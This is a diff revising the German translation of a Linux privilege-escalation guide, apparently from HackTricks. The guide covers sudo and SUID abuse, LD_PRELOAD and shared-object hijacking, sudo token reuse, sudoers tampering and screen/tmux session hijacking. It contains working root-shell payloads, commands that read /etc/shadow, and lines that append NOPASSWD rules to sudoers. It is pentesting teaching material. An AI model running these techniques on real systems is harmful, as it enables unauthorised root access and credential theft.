[su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem `-a`-Parameter versucht ebenfalls, Benutzer brute-force anzugreifen. -## Missbrauch bei beschreibbaren $PATH +## Schreibbare PATH-Missbräuche ### $PATH -Wenn du feststellst, dass du in einen Ordner des $PATH **schreiben** kannst, könntest du Privilegien eskalieren, indem du eine **backdoor** in dem beschreibbaren Ordner erstellst, deren Name dem eines Befehls entspricht, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der **nicht aus einem Ordner geladen wird, der vor** deinem beschreibbaren Ordner im $PATH liegt. +Wenn du feststellst, dass du **in einen Ordner des $PATH schreiben kannst**, könntest du möglicherweise Privilegien eskalieren, indem du **eine backdoor in dem beschreibbaren Ordner erstellst**, die den Namen eines Befehls trägt, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der **nicht aus einem Ordner geladen wird, der sich vor** deinem beschreibbaren Ordner im $PATH befindet. ### SUDO and SUID -Du könntest berechtigt sein, bestimmte Befehle mit sudo auszuführen oder Dateien könnten das suid-Bit gesetzt haben. Prüfe dies mit: +Du könntest berechtigt sein, einige Befehle mit sudo auszuführen, oder diese könnten das suid-Bit gesetzt haben. Prüfe das mit: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Einige **unerwartete Befehle erlauben es, Dateien zu lesen und/oder zu schreiben oder sogar einen Befehl auszuführen.** Zum Beispiel: +Einige **unerwartete Befehle ermöglichen es Ihnen, Dateien zu lesen und/oder zu schreiben oder sogar einen Befehl auszuführen.** Zum Beispiel: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,31 +745,31 @@ less>! ``` ### NOPASSWD -Sudo-Konfiguration könnte einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne das Passwort zu kennen. +Die Sudo-Konfiguration kann es einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne das Passwort zu kennen. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In diesem Beispiel kann der Benutzer `demo` `vim` als `root` ausführen; es ist nun trivial, eine Shell zu bekommen, indem man einen ssh key ins Root-Verzeichnis hinzufügt oder `sh` aufruft. +An diesem Beispiel kann der Benutzer `demo` `vim` als `root` ausführen; es ist nun trivial, eine shell zu erhalten, indem man einen ssh key in das root-Verzeichnis hinzufügt oder `sh` aufruft. ``` sudo vim -c '!sh' ``` ### SETENV -Diese Direktive erlaubt dem Benutzer, während der Ausführung **eine Umgebungsvariable zu setzen**: +Diese Direktive erlaubt dem Benutzer, **eine Umgebungsvariable zu setzen**, während er etwas ausführt: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Dieses Beispiel, **basierend auf HTB machine Admirer**, war **anfällig** für **PYTHONPATH hijacking**, um eine beliebige python library zu laden, während das script als root ausgeführt wurde: +Dieses Beispiel, **basierend auf HTB machine Admirer**, war **vulnerable** gegenüber **PYTHONPATH hijacking**, um eine beliebige python-Bibliothek zu laden, während das Skript als root ausgeführt wurde: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo-Ausführung: Pfade umgehen +### Pfade umgehen bei Sudo-Ausführung -**Spring**, um andere Dateien zu lesen oder benutze **symlinks**. Zum Beispiel in der sudoers-Datei: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** um andere Dateien zu lesen oder benutze **symlinks**. Zum Beispiel in der sudoers-Datei: _hacker10 ALL= (root) /bin/less /var/log/\_* ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -780,50 +779,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Wenn ein **Platzhalter** verwendet wird (\*), ist es noch einfacher: +Wenn eine **wildcard** verwendet wird (\*), ist es noch einfacher: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Gegenmaßnahmen**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo-Befehl/SUID-Binary ohne Befehls-Pfad +### Sudo command/SUID binary ohne Pfadangabe -Wenn die **sudo permission** für einen einzelnen Befehl **ohne Pfadangabe** vergeben ist: _hacker10 ALL= (root) less_ kannst du dies ausnutzen, indem du die PATH-Variable änderst. +Wenn die **sudo-Berechtigung** einem einzelnen Befehl **ohne Angabe des Pfads** gegeben ist: _hacker10 ALL= (root) less_ kannst du dies ausnutzen, indem du die PATH-Variable änderst. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Diese Technik kann auch verwendet werden, wenn ein **suid** binary einen anderen Befehl ausführt, ohne den Pfad anzugeben (prüfe immer mit _**strings**_ den Inhalt eines seltsamen SUID binary). +Diese Technik kann auch verwendet werden, wenn ein **suid** binary **einen anderen Befehl ausführt, ohne den Pfad anzugeben (prüfe immer mit** _**strings**_ **den Inhalt eines seltsamen SUID binary)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binary mit angegebenem Pfad +### SUID binary mit Befehls-Pfad -Wenn das **suid** binary einen anderen Befehl ausführt und dabei den Pfad angibt, kannst du versuchen, eine Funktion mit dem Namen des aufgerufenen Befehls zu exportieren. +Wenn das **suid** binary **einen anderen Befehl ausführt und dabei den Pfad angibt**, kannst du versuchen, **eine Funktion zu exportieren**, die den Namen des Befehls trägt, den die suid-Datei aufruft. -Zum Beispiel, wenn ein **suid** binary _**/usr/sbin/service apache2 start**_ aufruft, musst du versuchen, die Funktion zu erstellen und zu exportieren: +Zum Beispiel, wenn ein suid binary _**/usr/sbin/service apache2 start**_ aufruft, musst du versuchen, die Funktion zu erstellen und zu exportieren: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wenn du dann das suid binary aufrufst, wird diese Funktion ausgeführt +Wenn die suid-Binärdatei aufgerufen wird, wird diese Funktion ausgeführt ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die **LD_PRELOAD**-Umgebungsvariable wird verwendet, um eine oder mehrere shared libraries (.so files) anzugeben, die vom Loader vor allen anderen geladen werden, einschließlich der standardmäßigen C-Bibliothek (`libc.so`). Dieser Prozess ist als preloading a library bekannt. +Die Umgebungsvariable **LD_PRELOAD** wird verwendet, um eine oder mehrere Shared Libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen, einschließlich der Standard-C-Library (`libc.so`), geladen werden. Dieser Vorgang ist als Preloading einer Library bekannt. -Um jedoch die Systemsicherheit zu wahren und zu verhindern, dass diese Funktion ausgenutzt wird — insbesondere bei **suid/sgid** Executables — setzt das System bestimmte Bedingungen durch: +Um jedoch die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion ausgenutzt wird — insbesondere bei **suid/sgid** Executables — setzt das System bestimmte Bedingungen durch: -- Der Loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die reale User-ID (_ruid_) nicht mit der effektiven User-ID (_euid_) übereinstimmt. -- Bei ausführbaren Dateien mit suid/sgid werden nur Bibliotheken in Standardpfaden vorab geladen, die ebenfalls suid/sgid sind. +- Der Loader ignoriert **LD_PRELOAD** für Executables, bei denen die reale Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt. +- Bei Executables mit **suid/sgid** werden nur Libraries in Standardpfaden vorgeladen, die ebenfalls **suid/sgid** sind. -Privilege escalation kann auftreten, wenn du die Möglichkeit hast, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Anweisung **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt der **LD_PRELOAD**-Umgebungsvariable, auch bei Ausführung von Befehlen mit `sudo` bestehen zu bleiben und anerkannt zu werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Privilegien führen kann. +Privilege escalation kann auftreten, wenn du Befehle mit `sudo` ausführen kannst und die Ausgabe von `sudo -l` den Eintrag **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt es, dass die Umgebungsvariable **LD_PRELOAD** erhalten bleibt und auch bei Ausführung von Befehlen mit `sudo` berücksichtigt wird, was möglicherweise zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann. ``` Defaults env_keep += LD_PRELOAD ``` -Speichere als **/tmp/pe.c** +Speichern als **/tmp/pe.c** ```c #include #include @@ -841,12 +840,12 @@ Dann **kompiliere es** mit: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Schließlich, **escalate privileges** ausführen +Schließlich **escalate privileges** ausführen ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Ein ähnlicher privesc kann ausgenutzt werden, wenn ein Angreifer die **LD_LIBRARY_PATH** env variable kontrolliert, weil er den Pfad kontrolliert, in dem Bibliotheken gesucht werden. +> Eine ähnliche privesc kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH** env variable kontrolliert, da er den Pfad kontrolliert, in dem Bibliotheken gesucht werden. ```c #include #include @@ -868,13 +867,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wenn man auf ein Binary mit **SUID**-Rechten stößt, das ungewöhnlich erscheint, ist es ratsam zu prüfen, ob es **.so**-Dateien korrekt lädt. Das lässt sich prüfen, indem man den folgenden Befehl ausführt: +Wenn Sie auf eine Binärdatei mit **SUID**-Rechten stoßen, die ungewöhnlich erscheint, ist es gute Praxis zu überprüfen, ob sie **.so**-Dateien korrekt lädt. Dies lässt sich überprüfen, indem Sie den folgenden Befehl ausführen: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Wenn man beispielsweise auf einen Fehler wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ stößt, deutet das auf Potenzial für exploitation hin. +Zum Beispiel deutet ein Fehler wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein mögliches Exploit-Potenzial hin. -Um dies auszunutzen, erstellt man eine C-Datei, zum Beispiel _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält: +Um dies auszunutzen, erstellt man eine C-Datei, z. B. _"/path/to/.config/libcalc.c"_, die folgenden Code enthält: ```c #include #include @@ -885,13 +884,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Dieser Code zielt, sobald er kompiliert und ausgeführt wurde, darauf ab, Privilegien zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten ausführt. +Dieser Code versucht, nach der Kompilierung und Ausführung, Privilegien zu erhöhen, indem er Dateiberechtigungen manipuliert und eine shell mit erhöhten Rechten ausführt. -Kompiliere die obige C-Datei in eine Shared-Object (.so)-Datei mit: +Kompiliere die obenstehende C-Datei in eine Shared-Object (.so)-Datei mit: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Schließlich sollte das Ausführen des betroffenen SUID binary den exploit auslösen und eine mögliche Kompromittierung des Systems ermöglichen. +Schließlich sollte das Ausführen des betroffenen SUID binary den Exploit auslösen und so zu einer möglichen Systemkompromittierung führen. ## Shared Object Hijacking ```bash @@ -903,7 +902,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Nachdem wir ein SUID-Binary gefunden haben, das eine Library aus einem Ordner lädt, in den wir schreiben können, erstellen wir die Library in diesem Ordner mit dem notwendigen Namen: +Da wir nun ein SUID binary gefunden haben, das eine library aus einem Ordner lädt, in den wir schreiben können, erstellen wir die library in diesem Ordner mit dem notwendigen Namen: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -916,17 +915,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Wenn Sie einen Fehler wie diesen erhalten: +Wenn Sie einen Fehler wie ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -das bedeutet, dass die Bibliothek, die Sie erstellt haben, eine Funktion mit dem Namen `a_function_name` enthalten muss. +Das bedeutet, dass die von dir erzeugte Bibliothek eine Funktion namens `a_function_name` enthalten muss. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, aber für Fälle, in denen Sie in einem Befehl **nur Argumente injizieren** können. +[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, aber für Fälle, in denen du **nur Argumente in einen Befehl injizieren kannst**. -Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um aus eingeschränkten Shells auszubrechen, Privilegien zu eskalieren oder aufrechtzuerhalten, Dateien zu übertragen, bind- und reverse-shells zu erzeugen und andere Post-Exploitation-Aufgaben zu erleichtern. +Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um eingeschränkte Shells zu verlassen, Privilegien zu eskalieren oder beizubehalten, Dateien zu übertragen, bind- und reverse-shells zu starten und andere post-exploitation tasks zu erleichtern. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -945,60 +944,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Wenn Sie Zugriff auf `sudo -l` haben, können Sie das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es einen Weg findet, eine sudo-Regel auszunutzen. +Wenn du auf `sudo -l` zugreifen kannst, kannst du das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es Wege findet, eine sudo-Regel auszunutzen. -### Wiederverwendung von Sudo-Tokens +### Reusing Sudo Tokens -In Fällen, in denen Sie **sudo access** haben, aber nicht das Passwort, können Sie Privilegien eskalieren, indem Sie **auf die Ausführung eines sudo-Befehls warten und dann das Session-Token kapern**. +In Fällen, in denen du **sudo access** hast, aber nicht das Passwort, kannst du Privilegien eskalieren, indem du auf die Ausführung eines sudo-Kommandos wartest und dann das Session-Token kaperst. -Voraussetzungen für die Privilegieneskalation: +Voraussetzungen für die Eskalation von Privilegien: -- Sie haben bereits eine Shell als Benutzer "_sampleuser_" -- "_sampleuser_" hat in den **letzten 15 Minuten** **`sudo` verwendet**, um etwas auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, das uns erlaubt, `sudo` zu verwenden, ohne ein Passwort einzugeben) +- Du hast bereits eine Shell als Benutzer "_sampleuser_" +- "_sampleuser_" hat **`sudo` verwendet**, um etwas in den **letzten 15 Minuten** auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, die es uns erlaubt, `sudo` zu verwenden, ohne ein Passwort einzugeben) - `cat /proc/sys/kernel/yama/ptrace_scope` ist 0 -- `gdb` ist zugänglich (Sie können es hochladen) +- `gdb` ist zugänglich (du kannst es hochladen) -(Sie können `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen) +(Du kannst `ptrace_scope` vorübergehend aktivieren mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` oder dauerhaft durch Ändern von `/etc/sysctl.d/10-ptrace.conf` und Setzen von `kernel.yama.ptrace_scope = 0`) -Wenn all diese Voraussetzungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Wenn alle diese Voraussetzungen erfüllt sind, **kannst du Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Der **erste Exploit** (`exploit.sh`) erstellt das Binary `activate_sudo_token` in _/tmp_. Sie können es verwenden, um **das sudo-Token in Ihrer Session zu aktivieren** (Sie erhalten nicht automatisch eine root-Shell, führen Sie `sudo su` aus): +- Der **erste Exploit** (`exploit.sh`) erstellt das Binary `activate_sudo_token` in _/tmp_. Du kannst es benutzen, um **den sudo-Token in deiner Session zu aktivieren** (du erhältst nicht automatisch eine root-Shell, führe `sudo su` aus): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Der **zweite exploit** (`exploit_v2.sh`) wird eine sh shell in _/tmp_ erstellen, die root gehört und setuid besitzt. +- Der **zweite exploit** (`exploit_v2.sh`) erstellt eine sh shell in _/tmp_, die **im Besitz von root mit setuid** ist. ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Der **dritte exploit** (`exploit_v3.sh`) wird **eine sudoers file erstellen**, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden** +- Der **third exploit** (`exploit_v3.sh`) erstellt **eine sudoers file**, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Wenn du **write permissions** im Ordner oder auf einer der darin erstellten Dateien hast, kannst du das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **create a sudo token for a user and PID**.\ -Zum Beispiel, wenn du die Datei _/var/run/sudo/ts/sampleuser_ überschreiben kannst und eine Shell als dieser Benutzer mit PID 1234 hast, kannst du **obtain sudo privileges** erreichen, ohne das Passwort zu kennen, indem du: +Wenn du **Schreibrechte** im Ordner oder an einer der darin angelegten Dateien hast, kannst du das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **einen sudo-Token für einen Benutzer und eine PID zu erstellen**.\ +Zum Beispiel, wenn du die Datei _/var/run/sudo/ts/sampleuser_ überschreiben kannst und eine Shell als dieser Benutzer mit PID 1234 hast, kannst du **sudo-Privilegien erlangen**, ohne das Passwort zu kennen, indem du: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden**.\ -**Wenn** du diese Datei **lesen** kannst, könntest du **einige interessante Informationen erhalten**, und wenn du irgendeine Datei **schreiben** kannst, wirst du in der Lage sein, **escalate privileges**. +Die Datei `/etc/sudoers` und die Dateien im Verzeichnis `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur vom Benutzer root und von der Gruppe root gelesen werden**.\ +**Wenn** du diese Datei **lesen** kannst, könntest du in der Lage sein, **einige interessante Informationen zu erhalten**, und wenn du **irgendeine Datei schreiben** kannst, wirst du in der Lage sein, **Privilegien zu eskalieren**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Wenn Sie schreiben können, können Sie diese Berechtigung missbrauchen. +Wenn du schreiben kannst, kannst du diese Berechtigung ausnutzen. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Eine andere Möglichkeit, diese Berechtigungen auszunutzen: +Eine weitere Möglichkeit, diese Berechtigungen auszunutzen: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1007,15 +1006,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Es gibt einige Alternativen zum `sudo` binary wie `doas` für OpenBSD; denken Sie daran, dessen Konfiguration in `/etc/doas.conf` zu überprüfen. +Es gibt einige Alternativen zur `sudo` binary, wie `doas` für OpenBSD — überprüfe die Konfiguration unter `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Wenn Sie wissen, dass ein **Benutzer sich normalerweise an einer Maschine anmeldet und `sudo`** benutzt, um Privilegien zu erhöhen, und Sie eine Shell im Kontext dieses Benutzers erhalten haben, können Sie **eine neue ausführbare Datei namens sudo erstellen**, die zuerst Ihren Code als root und danach den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass beim Ausführen von sudo Ihre ausführbare Datei namens sudo ausgeführt wird. +Wenn du weißt, dass ein **Benutzer sich normalerweise an einer Maschine anmeldet und `sudo` verwendet**, um Privilegien zu eskalieren, und du eine Shell in diesem Benutzerkontext erhalten hast, kannst du **ein neues sudo executable erstellen**, das zuerst deinen Code als root und dann den Befehl des Benutzers ausführt. Anschließend **ändere den $PATH** des Benutzerkontexts (z. B. indem du den neuen Pfad in .bash_profile hinzufügst), sodass beim Ausführen von sudo durch den Benutzer dein sudo executable ausgeführt wird. -Beachten Sie, dass, wenn der Benutzer eine andere Shell (nicht bash) verwendet, Sie andere Dateien anpassen müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifiziert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel finden Sie in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Beachte, dass wenn der Benutzer eine andere Shell (nicht bash) verwendet, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifiziert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel findest du in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Oder so etwas ausführen: ```bash @@ -1032,16 +1031,16 @@ zsh echo $PATH sudo ls ``` -## Geteilte Bibliothek +## Shared Library ### ld.so -Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei den folgenden Pfad: `include /etc/ld.so.conf.d/*.conf` +Die Datei `/etc/ld.so.conf` zeigt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei folgenden Eintrag: `include /etc/ld.so.conf.d/*.conf` -Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen nach **Bibliotheken** gesucht wird. Zum Beispiel enthält `/etc/ld.so.conf.d/libc.conf` den Eintrag `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken innerhalb von `/usr/local/lib` suchen wird**. +Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **weisen auf andere Ordner hin**, in denen nach **libraries** gesucht wird. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach libraries innerhalb von `/usr/local/lib` suchen wird**. -Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einem der angegebenen Pfade besitzt: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, einer Datei innerhalb von `/etc/ld.so.conf.d/` oder auf einen Ordner, auf den in einer Konfigurationsdatei unter `/etc/ld.so.conf.d/*.conf` verwiesen wird, kann er möglicherweise Privilegien eskalieren.\ -Schau dir an, **wie man diese Fehlkonfiguration ausnutzt** auf der folgenden Seite: +Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine Datei innerhalb von `/etc/ld.so.conf.d/` oder ein Ordner, der in einer der Konfigurationsdateien in `/etc/ld.so.conf.d/*.conf` genannt wird, kann er möglicherweise Privilegien eskalieren.\ +Sieh dir an, **wie man diese Fehlkonfiguration ausnutzt** auf der folgenden Seite: {{#ref}} @@ -1059,7 +1058,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Wenn man die lib nach `/var/tmp/flag15/` kopiert, wird sie an dieser Stelle vom Programm verwendet, wie in der `RPATH`-Variable angegeben. +Wenn man die lib nach `/var/tmp/flag15/` kopiert, wird sie vom Programm an dieser Stelle verwendet, wie in der Variable `RPATH` angegeben. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1083,7 +1082,7 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities bieten einem Prozess eine **Teilmenge der verfügbaren root-Privilegien**. Dadurch werden root-**Privilegien in kleinere und unterscheidbare Einheiten aufgeteilt**. Jede dieser Einheiten kann dann unabhängig Prozessen gewährt werden. Auf diese Weise wird der gesamte Satz an Privilegien reduziert, wodurch das Risiko von Exploits verringert wird.\ +Linux capabilities stellen einem Prozess eine **Teilmenge der verfügbaren root privileges** zur Verfügung. Dadurch werden root **privileges in kleinere und unterscheidbare Einheiten aufgeteilt**. Jede dieser Einheiten kann dann unabhängig Prozessen gewährt werden. Auf diese Weise wird die gesamte Menge an Privilegien reduziert, wodurch das Risiko einer Exploitation sinkt.\ Lies die folgende Seite, um **mehr über capabilities und deren Missbrauch zu erfahren**: @@ -1091,14 +1090,14 @@ Lies die folgende Seite, um **mehr über capabilities und deren Missbrauch zu er linux-capabilities.md {{#endref}} -## Verzeichnisberechtigungen +## Directory permissions -In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betroffene Benutzer in den Ordner **cd** kann.\ -Das **"read"**-Bit bedeutet, dass der Benutzer die **files** **list** kann, und das **"write"**-Bit bedeutet, dass der Benutzer **delete** und **create** neue **files** kann. +In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betroffene Benutzer in den Ordner "**cd**" kann.\ +Das **"read"**-Bit bedeutet, dass der Benutzer die Dateien auflisten kann, und das **"write"**-Bit bedeutet, dass der Benutzer Dateien löschen und neue Dateien erstellen kann. ## ACLs -Access Control Lists (ACLs) stellen die sekundäre Ebene der diskretionären Berechtigungen dar und können die traditionellen ugo/rwx-Berechtigungen **überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Besitzer noch Teil der Gruppe sind, Rechte erlauben oder verweigern. Diese Ebene der **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details findest du [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stellen die sekundäre Ebene der diskretionären Berechtigungen dar und können die traditionellen ugo/rwx-Berechtigungen **überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Besitzer noch Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität gewährleistet eine präzisere Zugriffskontrolle**. Weitere Details sind [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Gib** dem Benutzer "kali" read- und write-Berechtigungen für eine Datei: ```bash @@ -1107,14 +1106,14 @@ setfacl -m u:kali:rw file.txt setfacl -b file.txt #Remove the ACL of the file ``` -**Erhalte** Dateien mit bestimmten ACLs aus dem System: +**Hole** Dateien mit bestimmten ACLs vom System: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Offene shell sessions -In **älteren Versionen** kannst du möglicherweise einige **hijack** **shell**-Sessions eines anderen Benutzers (**root**).\ -In **neuesten Versionen** kannst du dich nur zu screen sessions deines **eigenen Benutzers** **verbinden**. Allerdings könntest du **interessante Informationen innerhalb der Session** finden. +In **älteren Versionen** kannst du möglicherweise eine **shell** session eines anderen Benutzers (**root**) **hijack**.\ +In **neuesten Versionen** wirst du nur in der Lage sein, dich zu **screen sessions** deines **eigenen Benutzers** zu **connect**. Allerdings könntest du **interessante Informationen innerhalb der session** finden. ### screen sessions hijacking @@ -1125,7 +1124,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**An eine session anhängen** +**An eine Session anhängen** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1133,9 +1132,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Das war ein Problem bei **älteren tmux-Versionen**. Ich konnte eine von root erstellte tmux (v2.1)-Session als nicht-privilegierter Benutzer nicht hijacken. +Dies war ein Problem bei **älteren tmux-Versionen**. Ich konnte als nicht-privilegierter Benutzer eine von root erstellte tmux (v2.1)-Sitzung nicht hijacken. -**tmux-Sessions auflisten** +**tmux-Sitzungen auflisten** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1143,7 +1142,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**An eine Sitzung anhängen** +**An eine session anhängen** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1153,53 +1152,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S 